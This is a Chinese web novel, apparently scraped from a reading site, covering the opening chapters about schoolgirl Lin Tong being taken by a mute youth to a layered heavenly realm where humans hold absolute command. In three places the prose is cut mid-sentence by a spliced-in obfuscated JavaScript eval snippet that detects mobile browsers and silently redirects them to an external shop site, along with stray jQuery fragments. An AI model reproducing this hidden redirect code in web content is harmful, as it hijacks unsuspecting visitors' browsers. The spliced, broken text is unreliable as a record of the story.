《反派?那也得冲业绩!》 1. “噫,好,中了!” 这主角是聋哑人吗? “这反派都快把刀子□□脑门上了,智障吧,这么明显的利用都看不出来?还一个劲往上贴呢,我真服了……” 校服衣领泛黄的少女嘟囔着,一副吃了屎但吐不出来的无语表情。 四月份,天气渐渐回暖。 蚊虫的存在感随着温度的上升越来越强,学生们对新学期的热情却已然消磨殆尽。 讲桌下的第一排总弥漫着粉笔灰尘和一股说不上来的闷热味道,不知道是真的有什么东西在讲台下腐朽散发出来的,还是因为总是心情不好而产生的错觉。 林彤就坐在第一排。正弯腰缩在自己桌兜下,手机放在大腿一边借此挡住老师的视线。 屏幕上是她正在看的穿越小说。 她是班里沉迷小说成瘾的学生之一,无聊的课堂上,桌子下,少女手指滑动飞快,同时努力不让自己表情有一丝异样。 小说看的是什么,一个字爽,两个字酸爽。 步步爽,一路爽,给苦逼中学生聊以慰藉的酸爽,提前下载不费流量,屏幕静态十分隐蔽,甚至连耗电速度也和小说主线一样慢悠悠,其中含金量只可意会不可言传。 重生复仇,穿越虐渣,系统陪伴免费cosplay剧本杀,金手指开到起飞,主角正身除恶,一路秒杀反派,主角手持各种羁绊,爱吃路边拌饭,遇危难化险为夷,遇美人心旷神怡,虽然没看到大结局,但结局必是happy ending无疑。 林彤:“啧,爽。” 什么时候穿越世界,时空旅行这种好事也能轮到自己就好了。不用一辈子,最好是个有钱有权的牛逼角色,让她玩个一两年过过瘾,就算是反派,结局被主角噶了也值了。 随心所欲一辈子,最后被主角弄死,这听着可太划算了吧。 于是林彤开始天马行空分分析自己适合穿越的世界,但她一没有才艺,二没有手艺,能拿得出手的只有年轻的劳动力。 怅然若泣。 幸亏只是想象。 现实是林彤一颗心被分成两半,一半盯着屏幕上反派和主角云里雾里的对话,一半盯着老师的移动位置,忙得不可开交。 讲台上,语文老师正念叨着《范进中举》的内容,声音忽高忽低,像是某种催眠曲。她偷偷抬眼瞄了一下周围,左右同学都一脸呆滞的盯着课本走神儿,没有人注意到她,这才松了一口气。 但看着钟表上转动着的指针和自己摆在桌子上装模作样的空白课本和红笔,忽然感觉没劲透了。 可回过神,手指已经在屏幕上轻轻一滑,点开了短视频。 林彤:“……” 脑子说“这样太颓废了”,手指恨不得戳穿它让它闭嘴,还要接一句“那咋了”。 妈的,玩都玩了,刷了再说! 就在这时,教室的门突然被推开了。 此时的她还没有意识自己接下来将面对的是什么天雷滚滚的情节,但只要短短三天,林彤就会很真诚的告诉别人:人还是要有梦想的,梦想梦想,万一想着想着,把老天爷想烦了,没准儿就真同意了。 蚊子肉也是肉,拍死胳膊上的小蚊子怎么不算一种另类的天上掉馅饼呢? 一阵冷风从门外灌进来,林彤下意识地抬头,突兀的看到一个少年站在门口,正扶着门框朝里面打量,像是在找什么人。 之所以突兀,不仅因为他是这节无聊语文课的唯一小插曲,更因为少年身上古怪的衣服。 他穿着一身极其白的衣服,白的有有点反光了,分外耀眼。领口整理的一丝不苟,黑色的短发有些凌乱,像是刚刚被风吹过,眼睛很特别,像是深秋的湖水,泛着淡淡的蓝光。 人长得挺帅的,所以穿搭也就这么算了。 但是。 没穿校服,扣分。 头发不合格,扣分。 上学戴美瞳,扣分。 开门不喊报告,扣分扣分…… 妈呀,这是来给主任刷业绩呢?林彤脑门上飘过一串“-1”,算了半天得出结论,这人至少得背一个警告,两个处分,包揽一年的操场清洁。 “他是不是戴美瞳了……”她拿胳膊肘怼同桌。 对方正低着头偷偷睡觉,被她强制开机脸如铁色,扫了一眼门口的位置,皱着眉骂她:“妈的老子快困死了,什么玩意美瞳?” “就那男的啊……”林彤小声说,忽然止住了声音,因为那个人不知道什么时候已经注意到了她,也正看着她呢。 两人四目相对,不良少年海洋般厚重温柔的眼睛一瞬间锁住了她,她急忙挪开眼睛,但没忍住又嘀咕:“你快看啊!” “门口哪有人啊……”同桌却没再搭理她,又直着背,低着脑袋,闭上了眼,短暂离线。 少年站在门口,目光扫过教室,最后落在她身上。他的嘴角微微上扬,露出一个若有若无的笑容。 林彤愣住了。 她能感觉到自己的心跳突然加快,下意识把手机塞进桌兜里的书里夹着。 “把翻译抄上!”语文老师的声音从讲台上传来,带着一丝不耐烦。 林彤这才意识 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037575|194639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到不对劲,猛地回过神来,转头看向老师,却发现老师的目光根本没有落在门口的少年身上。再看向教室里的其他同学,他们依旧低着头,专注地记着笔记,仿佛门口什么都没有。 门口站着那么高,那么奇怪的的一个人,没人看得见吗? 一丝诡异的不祥预感油然而生,她的心跳得更快了,手心开始冒汗。 少年迈步走进教室,脚步轻盈得像是一片羽毛落在地上,他走上讲台,居然直接撞在了老师的身上,但无比怪异的是,他竟像个幽灵一样从老师的身上轻飘飘的穿过了她的身子骨,没有实体一般。 不是,这对吗? 她先是疑惑,后是震惊的捂住了嘴巴。 可那个少年似乎就是朝她来的,一米八以上的大高个,迈着腿径直走到林彤旁边,落下的阴影让整个桌面都暗了下来。有影子,不是鬼。 林彤的手指微微颤抖,手机差点从课本下滑出来。 她张了张嘴,却发不出声音。 少年笑了笑,伸手轻轻按在她的课本上,指尖十分干净,下面压着一张纸条:对穿越感兴趣吗? “?” 她惊诧的抬起脸,看清了那双海蓝色的眼睛。不是美瞳,是货真价实的眼珠子,而且里面像湖水一样,慢慢流动着奇异的光波。 我、的、天…… 原本平静无波的课堂上,少女没有任何征兆的站了起来,椅子“碰”的一声砸在地上,惊的所有人都看了过去。 “所以范进中举后的第一反应就是……”语文老师察觉到异样,转过身:“怎么了?” 于是乎就看到这个她叫不出名字的学生,正拿一种看到奥特曼和巴啦啦小魔仙对打的奇妙表情盯着一个方向,甚至能从她的表情中看到一丝中了彩票的狂喜,种种加合,比卷子上的小说文阅读都要丰富。 老师懵了:“……?” 少女突然吐出一口气,又深深吸了一口气,喃喃自语的说:“噫,好,中了!” 老师:? 全班人哄堂大笑,都以为她是没睡醒在犯浑,一个个都摆正了身子准备看好戏。 然而她还在念叨:“看着这么多年小说,可算轮到我了……” 众学生:??? 同学你要不要听听看你在说什么,这是某种新颖的帮助克服社恐的手段吗?人怎么能对自己残忍到这种地步。 但紧接着下一秒,他们就眼睁睁的看着那么一个大活人,眨眼间的功夫,空气一样在眼前蒸发。 …… 老师:“卧槽?” 2. 《全班都炸了》 欢送她离开的是全班同学的尖叫,好像她看过的某本小说……《意外飞升后,全班都炸了》。 全班真的炸了。 林彤有种脚踩棉花的不真实感,一切都轻飘飘的。 看这么多年小说,她还没见过穿越前征求当事人同意的。 光看小说里的主角穿越的流程,无非一个意外,眼睛一睁一闭,立刻身临其境,还给分配个系统指完成各种抓马任务。 但她怎么还有赶路这个环节? 少女被迫窝在箱子里,感受着路途的颠簸,五颜六色的情绪在胸腔里爆炸爆炸再爆炸,一颗心炸的七零八碎。 从她点头答应跟他异世界开始,事情就不对劲了起来。 首先是自己一瞬间被一股神秘力量塞进了这个箱子里,行,异世界有魔法设定是吧,她接受。再然后是她后知后觉这个说要带她穿越的少年是个哑巴,行,异世界有残疾人是吧,她不歧视。 但是最重要的一点…… 她到底是穿了个什么越!连个提问的机会都没有,这真的不是什么跨越两个宇宙的人口拐卖吗! 林彤:细思极恐,粗思也恐。 不确定,再等等。 她就这么以一种奇异的姿势缩在箱子里,浑浑噩噩的等,已经有快一周的时间。 期间她感觉不到饥饿和冷热,对时间的感知被麻痹,只知道箱子里裹着柔软的丝织层,很温暖,很干燥,很安全。 她能感觉到自己一直被人提在手里,稳稳当当的在箱子里漂洋过海。 从所谓的人类宇宙来到一个魔幻到离谱的平行时空,林彤一路心惊胆战,几次怀疑自己是不是得了精神病。最终实在难以忍受,从里面敲了敲皮箱的壳,星乙就跟24小时守在箱子边上似的,立刻打开了箱子。 少女问:“你是不是该跟我解释解释这是哪儿?” 星乙看了看她,观察什么价值连城的藏品一样,确认她是否完好无损,那种认真又沉甸甸的眼神看的林彤心里直发毛。 他打着手语:你一定要现在听吗?但按照我的时间表现在应该开始收拾行李,马上要下船了。 她点点头,两人相对无言。 接着星乙把她放在船舱一个房间的窗户边,薄薄的清光,她在箱子里居然丝毫不憋闷,肌肉松散,精神上更是如获新生。 透过玻璃,她看到了整个天国。 一层一层的天国,一层层漂浮在空中的天国,像没有任何水果和装饰的奶油千层蛋糕,又像高雅单调的镂空书架,和地球完全不一样,在一片白色中透露着奇异色彩。 九层土地的周围,旋转向上的水柱如同巨蟒一样,环绕着天国,把每一层连接起来。 它们乘坐的船就是靠着这条逆流而上的江海,一路从最底层,向着第一层前进,日夜不休。 卧槽啊! 给我干哪来了? 这居然还是个现代社会的小说世界呢? 可惜啊,本来还想体验一下修仙练气御剑飞行什么的…… 少女无声感叹道。 紧接着,一只手突兀的闯进视线。 星乙修长的手指留着一点点指甲,食指尖顺着水流,一圈一圈往上转,最后落在最顶层的中心一点。 那就是目的地了——星乙从口袋里拿出他随身携带的钢笔和纸条,写道: 那里是和你们人类处于同一时间,不同宇宙下的天国的首都,天国精英汇聚的最大政权中心——镜都。 林彤被震撼到了一样点点头,又问:“你为什么一直把我装在箱子里啊?” 星乙:这样更方便随身携带。 林彤越听越是满头雾水,换了个问题:“这是个什么小说?你是系统还是什么东西?我是要复仇还是拯救什么人?主角配角好的坏的?” 星乙:…… 星乙:这里不是小说世界,是真实存在的,我也不是什么系统,是个货真价实的人。 看林彤一脸失望,星乙眼珠一转,又改了个说法:如果系统是指能提供背景和主要信息的工具,那我就算是你的系统了。你接下来要经历的这段剧情里的人,大部分都是我的朋友,他们都是很好的人,你会喜欢他们的。 林彤为难:没有剧情,盲狙啊? 星乙无奈:总比你待在学校偷偷看小说有意思的多吧? 林彤:“这……” 星乙一针见血:而且还只能偷偷看。 林彤:“你话有点多了。” 她还想问别的,却突然感到一阵强烈的困倦,不到几秒钟就闭上了眼,脑袋被星乙稳稳接住,重新被塞回了箱子里。 手提箱缓缓合上,光被压缩成一条光线,将她黑色的眼睛划分界限,陷入一片漆黑。 黄昏时分,朔风由远而来搅和天地,浪花沸水般翻滚起来,白浪尖端泛着点点金光,仿佛其中卷着细小珍珠,透着一股金贵的光泽。 距离七点还差二十分钟。 船中游客隔窗观望,尽是忧心忡忡。 云涌无常的天国,黄昏前后,是磁场最不稳定的时间。这是卡在白天黑夜间的半个小时,蓝天之下所有城邦陷入无极变幻,无法琢磨,容易滋生祸端。 轮船靠岸前,没人能保证平安落地。 惴惴不安的等待中,没过多久,橘红的天际线终于出现了一层深棕色,那是天国九层大陆中面积最小,却饱富精华的首都——“镜”。 “总算到了,”守在门边的船奴吐出一口气,高声喊道:“大家抓紧拿好行李,马上就要靠岸了!” 船客们开始奔走各个船厢,乱糟糟的忙活起来。 层层叠叠的人影中,似乎没人注意的到,隔着玻璃,脚下的甲板上,一粒白米一样的人影。 这时候已经有海浪可以舔上露天甲板,即将靠岸,多数人都返回房间收拾行李,没有人这时间还在乱逛。 不少负责搬运的船员注意到这个孤零零的人,好奇的看过去。 “感觉像是云宫里的人,军官似的站在那一动不动,罚站呢还是怎么滴。” “不像啊,感觉他浑身法力好低,好像还不如我?” “那是真的很菜了。” “……” 露天甲板上,星乙抬头看了一眼,海蓝色的眼睛中,能看见云雾翻滚下天际线处红蓝交汇,点点星辰藏匿其中,若隐若现。 不多时,一名船员走到他身后,咳了两声,试探问:“先生,有什么需要帮助的吗?” 星乙回以微笑,摇摇头。 服务生看他没什么事,松了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037576|194639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口气,语气礼貌:“这些天镜都很乱的,赶快回舱里去吧。” 他带着皮制作渔夫帽,勉强遮住黑色短发,帽沿下年轻的脸没什么表情,只有海蓝的眼睛时不时眨一眨,几次垂眸去看手里的手提箱。 海风袭来,帽沿翘起,露出他乌黑发丝。 瞥见那一点漆黑,船员神情变得古怪起来,然后就被年轻人似笑非笑的眼神刺了一下,连忙低下头。“我帮您把箱子拿进去……” 星乙看他一眼,真就把箱子放在地上,打了个手势。 船员笑着上手去提,刚一使劲,就顿感不妙。 这箱子里不知道装了什么,起码有上百斤,他光试图把它从地上拉起来都费劲,这人是怎么一动不动拎着一百多斤重的行李在这里罚站啊? 年轻人尴尬的笑了笑,抬起脸,突然僵住了。 眼中映出一片诡异景象。 就在年轻人侧身闪过他的手的一瞬间,好像看到无数大小不一,形状崎岖的黑影在这年轻人身后显现出来。 恶灵一样,好像把这年轻人当做食物,一秒就能将他吞噬殆尽。 “你身后……”船员鸡皮疙瘩瞬间起了一胳膊,见星乙面色如常,波澜不惊,像是早就知道那些脏东西的存在。 星乙摇了摇头,示意他不要管。 他立刻哑住了。 星乙回过头的一瞬间,那些黑影顿时溃散,跑的干干净净,反倒像是十分忌惮他。 船员脸都白了,只感觉这年轻人如沐春风的笑容变了质,越看越觉得阴邪,还隐隐约约有那么一丝……得意。 像是挑衅那些跟在他身后的黑影,而且很乐在其中。 脚下忽然一晃,船员本就心神不宁,这下彻底失去重心,头朝地扑了下去。 正正摔在星乙脚边。 星乙反而站的稳稳当当,貌似比他这个每天在船上做事的人还熟悉船靠岸的时间和摇晃的旋律,轻车熟路,提前抓住了一旁的栏杆。 这古怪的年轻人没有要拉他一把的意思。 甲板一直乱晃,他一时间爬不起,抬头看了一眼边上事不关己的星乙。 一双海蓝的眼睛背着光,颜色更深了,凝视着他的窘态,似乎也笑的更欢了。 船员:“……” 船缓缓靠岸,码头迎接傍晚最后一只轮船的号角吹得震天响,原本只有海风的耳畔顿时被人潮声塞满,船员们原本的忧心一扫而空,纷纷赶着下船。 年轻人抬手看了看表,跨过倒在地上的人,也急匆匆的走了。 等那船员回过神从地上爬起来,星乙已经彻底消失在甲板。 船舱打开了所有门,四天三夜的长途轮船,漫长的等待让客人们快被憋疯。顷刻间鱼贯而出,大小手提箱影子下,高跟鞋和皮鞋错杂纷乱,焰火游荡在街边为人引路,热闹起来。 他很沉静,也很谨慎。 最大号的客房里,星乙蹲下身,小心的打开了箱子。 箱子里的女孩,林彤已经进入昏迷状态。 少年好心的上手帮她整理皱巴巴的校服,无意间扫到她衣角凝固的黄绿色不明物,那点随性而至的好心顿时烟消云散,皱眉缩回了手,嫌弃之情滥于言表。 “砰!” 星乙甩上了箱子。 3. 皇帝 林彤从箱子里坐起来,伸了个懒腰,还没反应过来自己这是在哪里。 只看到眼前的海水中有透明的鱼,跃出水面,在半空破碎变成水晶一样的东西,噼里啪啦分落回海水中。 正巧这时,墙上的挂钟突然迸发出一声清脆的音符,时间到了下午六点整。 天空的最右边出现了一排黑色的飞鸟,它们连成一线,像粉刷墙面的刷子一样飞速的推掉了蓝色的天空,刮出漆黑的夜晚。 不到半分钟,就完成了昼夜更替。 我去去去! 在她瞬间清醒,瞪大了眼睛。正当少女震惊于这种只有游戏里才会出现的奇妙景观时,星乙已经麻利的收拾好了行李,麻利的把船房收拾成原本的模样,最后在箱子前面蹲了下来。 星乙笑着招招手,让少女回神看向自己的脸。 他背着光,慢慢摆出手势,打出手语。告诉她:在这里,你就是皇帝,说一不二,有至高无上的权利,明白吗? 皇帝? 黑夜中,她看不清星乙的脸色,更辨不出真假,不确定星乙说的皇帝是不是她理解的意思。 星乙:我是私自把你带过来的,一会儿到了关键时候,只有你能保护我了。 少女懵了:“我还没你长的高呢,怎么保护你?” 星乙无奈的指了指天,又指了指地,比划说:就算敌人有天那么高,到了你的权力面前,都会变得跟地面一样低。 少女还在迷茫。 星乙给她举了个例子:比如说你讨厌一个人,你命令他自尽,他就会拿刀捅死自己。这样说你懂了吗? 这次可太好懂了。 貌似…可能…大概…没准儿,真的是字面意义上的皇帝呢。 好刺激。 于是少女伸出平时握笔的右手。那只用来签字画押,签订契约时会用的右手,同他作出约定,伸出三根手指:“OK” 星乙温柔的笑了:不信的话,到时候可以找机会试一试。 随后,星乙伸出双手托住了她的手,将少女手背贴上自己额头。 他的额头热的发烫,像是在发烧。 那是一个示弱,依赖,带有托付意味的姿势,足够她感受到星乙的信任和托付。林彤起了一身鸡皮疙瘩,什么也说不出来,有点像漫画里的公主和骑士,太梦幻了。 “开门!” 门外突然传来一声吆喝,紧接着门被砸的哐哐作响,“云宫戒律殿!开门!” “谁?”女孩吓得从箱子里坐起来,差点摔出来,“怎么办啊!” 星乙脸色一变,左右不到两三秒,他像是考虑到了什么,马上打开了房门。 门外堵了四五个人,见门一开立刻就要冲进来,但在看清开门人的脸时,悬崖勒马般停在了外面。 “星乙副官,总算找到你了!” “我们还以为你死了,右天王每天都在催我们找到你,你这些天跑到哪里去了,怎么会在这艘……” 七嘴八舌的声音在他们看到坐在大号行李箱里的人后戛然而止。星乙走到女孩身边,拍了拍她的肩膀,把正担惊受怕她按回箱子里,揉了揉她的脑袋,然后不由分说,“咔嚓”合上了盖子。 “那是……一个人?” 星乙没回答,接下来的路,他走的飞快。中途女孩还隔着手提箱听到三声钟响,一下比一下重,穿过嘈杂的街道,甚至在耳边变得清晰无比。 钟声敲响后,她感觉到星乙跑了起来,一路上撞到不少人,渐渐喧闹的声音减弱了,他们好像进入另一个世界,天地缓缓。 最后他停下脚步,四周彻底安静下来。 这是进入天国管理中心了吗? 她难耐激动,黑暗中,能感受到心脏砰砰砰直跳。 一个少女的声音从高处传来,巨人一般,低着头和星乙说话,很利落,而且一上来就是咄咄逼人:“你的执行令牌已经被扣押了,不好好待在云宫,还跑出去做什么?当活靶子吗?” 星乙是个哑巴,说不了话。 不过就算他能开口说话,也不会说什么的。人类这么想着,星乙像那种人。 “你带了个什么东西回来?” 静了一会,可能是星乙在用手语和他们交谈。 “你说什么!” “荒唐,谁批准的!” “带一个手无寸铁的人类回来,有什么用?”这声音,还是刚才少女。 她好像只是疑惑,但并没有被星乙的行为震惊到,好像她很了解星乙,已经习惯了。 “星乙,”一个从更高处传来的声音,是个成熟的女人。不是错觉,她一开口,周围的七嘴八舌瞬间被按下了暂停键。 “你到底想做什么?” 林彤想,这女人说话很客气,很有风范的样子,像是成熟的引导者,有实力会做实事的那一类人。 外面短暂的平静了一会。 “既然一时说不完,不如先把客人请出来,这样把人藏在箱子里,很不礼貌不是吗?” 星乙点点头,把箱子放在地上,在万众瞩目下打开了箱子,不过被星乙挡的严严实实,看不到里面。 林彤视线突然明亮起来,勉强睁开眼,看到星乙朝自己伸出手。 看着眼前的手,人类有些忐忑,不过她看到星乙眨了一下右眼,海蓝色的瞳孔里暗含鼓励的意思。 她抓住星乙的手,接着被星乙单手强硬的拉了出来。 离开箱子,人类被过分明亮的光刺了一下眼,一点点张开,瞬间被外面的景象震惊的发不出声。 这是一间巨大的议事厅,明丽装潢,高矮台阶一节一节,像花瓣一样重重叠叠,就和从远处看到的天国一样,层层分布。 威武,庄严,荡气回肠。 这里的光,白色和暖黄调和在一起,白的来自大理石精致优雅的装潢,暖黄来自四面镂空雕刻照射进来的太阳光。虽然到处都是雪白一片,没一丁点别的颜色,但仍旧美轮美奂,光与影,繁琐至极。 简直就是光的艺术。 巨大的阴影投下来,他们踩在“花心”,台阶近上百人,制服是统一的白色风格。有的侧配备武器,刀枪剑戟;有的手无寸铁,却有魔法一样的灵光在他们身边环绕;还有的看上去没什么特色,神情散漫,好像对人类没什么兴趣。 什么邪门组织啊?017欣赏不了。 她和星乙站在最底层,需要微微仰起头看错落站在他们上面的人,上面的人也需要稍稍低下头来看他们。 站在这里,好像是十恶不赦的罪犯。 好像站在断头台,为家人蒙羞,所有人都不说话,无数双眼睛盯着你看,令人心虚不已。 中间的位置足足有快一百米长,所以她足够看清所有人的脸,只是注意力全部被那些款式各异的白制服吸引了,只觉得那衣服款式类似军装,有各种颜色的宝石配件装点,十分漂亮。 “……你们好?” 一声问好,立刻激起千层浪。 一个人类女孩,身上套着校服,普通的不能再普通,正常的不能再正常,在这里却一点也不普通,一点也不正常。 开口说话的瞬间,她感觉不少人默默后退。 这很奇怪,这里本就是他们的地盘。但他们见到人类,就跟刘姥姥进荣国府见到摆钟一样,觉得新奇想碰碰,但只能带着敬畏的收回手。 奇怪。 她下意识去看星乙,却发现星乙低着头,嘴角勾起,肩膀微微发抖,好像在强忍着让自己不要笑。 有什么好笑的?017抿着嘴唇,盯着身边这个俊美的少年。 “欢迎,0……17。”那个咄咄逼人的少女站在高处,看着她,念了着三个数字。 ”什么是017?”林彤小声说。 “你的新名字。” “为什么?”林彤又试探着问。 “……”那少女瞪了她一眼,嫌她麻烦一样别开了眼,懒得理会。 她气势太强,暴躁泼辣,好像自己一句话没说对就要被她捅一刀,吓得人类少女017胆战心惊,沾着泥的运动鞋无意识朝后退了一步。 下一秒却被星乙轻轻推回了原位。 对方眼睛正看着她的头发,海蓝的眼睛在阴影中变为深蓝,其中流露着017无法理解的复杂。 她连忙挪开脚,这一下,好像突然提醒众人还有一个星乙站在这里。 “星乙,违背天国法律,私自带人类上界,你这算犯法了吧?” “对啊,就算是有需要人类合作才能进行的方案,也应该提前上报戒律殿,由天王亲自着手……” “况且你情况特殊,如果017出了什么意外,那该怎么办?” 周围又开始乱糟糟。 人类往往带有和天国人不同的思维模式,这使她看待问题时,更加尖酸刻薄。 017清晰的察觉到这些人对星乙的敌意,他们站在一起,她感受得到,黑影在她脑海中回荡,使她警惕不已。 旁人短短几句话,就足够让她精疲力尽了。 而现在,更是犹如全民公敌。 “别吵了!”泼辣少女抬高嗓门。 她从念叨了一句“01 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037577|194639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 7”开始到刚才一直沉默着,这时突然喊了一声,也让人类看清了她。 白金色短发,天蓝色眼睛,长裤长靴,俨然一副战士的气场。 她的站位比刚才议论的其他人都要高一点,冷声说:“都给我闭嘴,当这里是菜市场吗?这种事又不是没有先例,按老规矩处理了就好。” 这个少女似乎有很高的领导力,好比一个大班级里的班长。 就像乌泱泱的学生在班级吵闹,班主任进门一定会先问班长,谁适合作杀鸡儆猴里的鸡。 至于她说的老规矩,是投票。 每人手里拿着一支不知道什么材质的签,噼里啪啦朝下面扔,也许是熟能生巧,居然每个人的准头都特别好,磕磕碰碰的清脆声响,像下雨一样。 以017和星乙为中心,分成左右两部分。 几乎清一色投票去了左边,017懵懂的去看星乙,见星乙没什么不对劲的表情,心想应该是好结果。 “左边有罪判罚,右边无罪释放。”上面一个人提醒说。 017刚放下去的心又悬起来。 就没有一个人肯投右的吗? 又看一眼星乙,小声说:“你人缘这么差?” 星乙不置可否。 “兰可,戒律殿,雷司副官。”兰可走下阶梯,大步走上前:“叫我兰可就可以了,017。” 017抬头望去,第一眼错将眼前少女认成身穿战甲的天使。 第二眼再看,少女没穿铠甲,也没有翅膀,也没有特别漂亮,但攻击性太强了。 兰可长的很高,比她高一个头,和星乙差不多,居高临下盯着人时跟教务处主任似的一脸正气,语气还算客气:“请让让。” 她身后就是星乙。 017警觉起来:“你想干什么?” 明明是一样大的年纪,或者说017本人还要比她看着年纪大一些,但兰可就是拿看小孩一样德眼神看着她。举起不知何时出现在她手里的一副崭新手铐,晃了晃:“抓捕危险人物。” “危险人物”自觉上前一步,看着一路护送的人类女孩,蓝色的瞳孔微微颤动好像有话要说,不断催促着017快做点什么。 他手却自觉抬起来,摆出一副任凭处置的模样。 017本就高高挂起的心开始左右摇晃起来。 如果星乙不在身边,她该怎么办? 这四天的路途,虽然她不知道星乙的图谋,但身在一无所知的地方,比起眼前这些咄咄逼人的人,她更愿意相信星乙。 窥看四周,正拿有色眼镜打量她的人太多,017头皮发麻。 就在兰可斯咔嚓打开手铐,准备把他拷上的时候,017一把抓住星乙的手,把他往自己身后扯,和兰可拉开一段距离,叫道:“你别过来!” 兰可愣了一下,忽然意识到什么似的,狠狠剜了星乙一眼。 “017,冷静,我只是把他关押起来,不是要杀了他。”她耐着性子说,却一直瞪着星乙,看起来恨不得撕了他。 “况且,他现在的处境,把他关起来,对他不是坏……” 说着,她还是朝星乙的方向走过来。 “你别过来!”017掷地有声,好像有什么东西支撑她,让她相信,只要她开口,兰可就不敢再上前半步。 “星乙你他妈……”兰可真的停在原地,咬牙望着他,原本为017装出来的“和善”立刻分崩离析,彻底冷了下来。 “我说,你回去!回你刚才站的地方去!”兰可的退让助长了017的气焰,她精神一振,乘胜追击:“没有我的同意,你不能抓他。” “……行。” 兰可似乎呼出一口气,有点不甘心的深深看了星乙一眼。 “快啊!离他远点!” 在鸦雀无声的对阵中,兰可默默站回原位,之后就懒得再看他们。 017深深喘着气,不安的去瞅星乙,星乙反而笑得很轻松,带着感激和鼓励的态度点了个头,蓝色眼珠极其明亮。 突然有种卖弄权力的快感涌上心头。 果然,星乙没有骗她。 在这个世界,这个国家的人,真的把人类当皇帝啊。正在她开始兴奋的时候,星乙朝她手心里塞了张纸条。 星乙:问问他们,这些天一直追杀我们的人是谁? 追杀? 他们这些天一直在被追杀? 017蒙圈了,但还是决定照做,高声问:“这些天一直追杀我们的人是谁?给我站出来!” 无人回应,没有一个人站出来。 4. 劣质 那么现在最重要的,是赶紧把这里是什么地方搞清楚。017收回放在星乙身上的视线,提高了声音,也更有底气的向上发问:“谁能回答我,为什么你们会无条件服从我的命令?” 站的最高的女人率先回答:“我是天国右天王尤渚,我来回答您的问题。” 017看向星乙,星乙肯定的点头,她安心下来,直视和她说话的女人。 “我们是被造物主创造出,守护人类的存在,所以对人类言听计从,服从人类的一切命令是我们的天性。” 017:“天性?” 尤渚温柔的解释说:“和饿了吃饭,困了睡觉一样,是天性。” 017心下一阵风暴,又问:“但为什么我们从来不知道有你们的存在?你们保护我们什么了?” 尤渚:“保障你们的世界按照剧本正常进行,古今中外,每一场战争、每一个人的人生、每一天的天气都要按照剧本进行,你们是幕前的演员,我们是幕后的操手,就是这样的关系。” 你以为的即兴表演,其实是有剧本的连续剧。 017听了,只觉得难以置信:“这也就是所谓的命运了?” “是的。” 那你们这些人,不就跟被设定成保护人类的机器人一样吗? 不就是个会动会说话会魔法的工具吗。 017直勾勾的仰视着这个位高权重的女人,漆黑的眼睛对上碧绿的瞳,乌黑的头发和她香槟色的卷发,皱巴巴的校服比她面料光滑柔软的白色长裙,十六七岁的少女和三十左右的女人根本不来自一个世界。 017突然问:“那也就是说,如果我现在要你的王位,你也会立刻拱手相让喽?” 一时间整个大殿安静的仿佛空无一人。 有人用手指戳了戳她的后背,是星乙。017没理会,星乙又小心的拽着她的校服扯了扯。 他的意思017知道,但她就是要问。 紧接着尤渚点了点头:“当然了。” 她一颦一笑间从容不迫,好像017对她来说不过是个萍水相逢的朋友,而不是个随时威胁她的敌人。 是个散发着母性光辉的人啊,017心里松了一口气,她默默感叹,这一点跟星乙可真像。 其实仔细一看,星乙从头到脚就像一个低配版的尤渚,一大一小,像对劣质母子一样。 这样一想,017对着尤渚的脸就不觉得紧张了。 “你们放心,我不会让你们为难的。”她也对尤渚微微笑了,“现在告诉我,星乙为什么要把我带到这里来。” “还有……”017转头,看向此刻淡定自若的星乙,说:“他是什么人?” 星乙细长的眉毛平静无波,朝她微笑了一下。然后他迈步走上台阶,一步一步,一节一节,在017的目光中,一路逆行,越过人群,越过兰可,越过空荡荡的第二层,最后甚至越过尤渚。 眼见顶上只剩尤渚左边的那个位置。 尤渚,站在第一层的右边,是右天王。 那左边呢?017吞了吞口水。 但星乙辜负了她的期待,是朝着右走的,他走到了最高层的最里面。 少年双手背后,乖巧的站定在右天王身后,微微低头,一副言听计从的模样。 尤渚说道:“星乙,是我的副官。” 随后,017在一问一答间得到了这个世界的初步信息。 这里的人,或者说天人,他们具备永生的能力。 天人有两颗心脏,一颗是活人心,一颗叫灵心。 每个人灵心天生不同,水、火、风、光,各有优势。就像人类的唱歌跳舞画画体育一样,每个人各有所长。 但有一点一样,人类和天人的的天赋高低,都体现在分数和成绩上。 另外天人的外貌也能看出每个人法力天赋的高低,颜色越浅,天分越高。 回想到这里,017下意识瞄了一眼星乙一头乌黑的头发。白天他戴着帽子,黑色头发还不容易被人注意,现在再看,就十分刺眼了。 除了这些,还有最重要的一样东西。 植物。 天国没有植物,更没有四季。 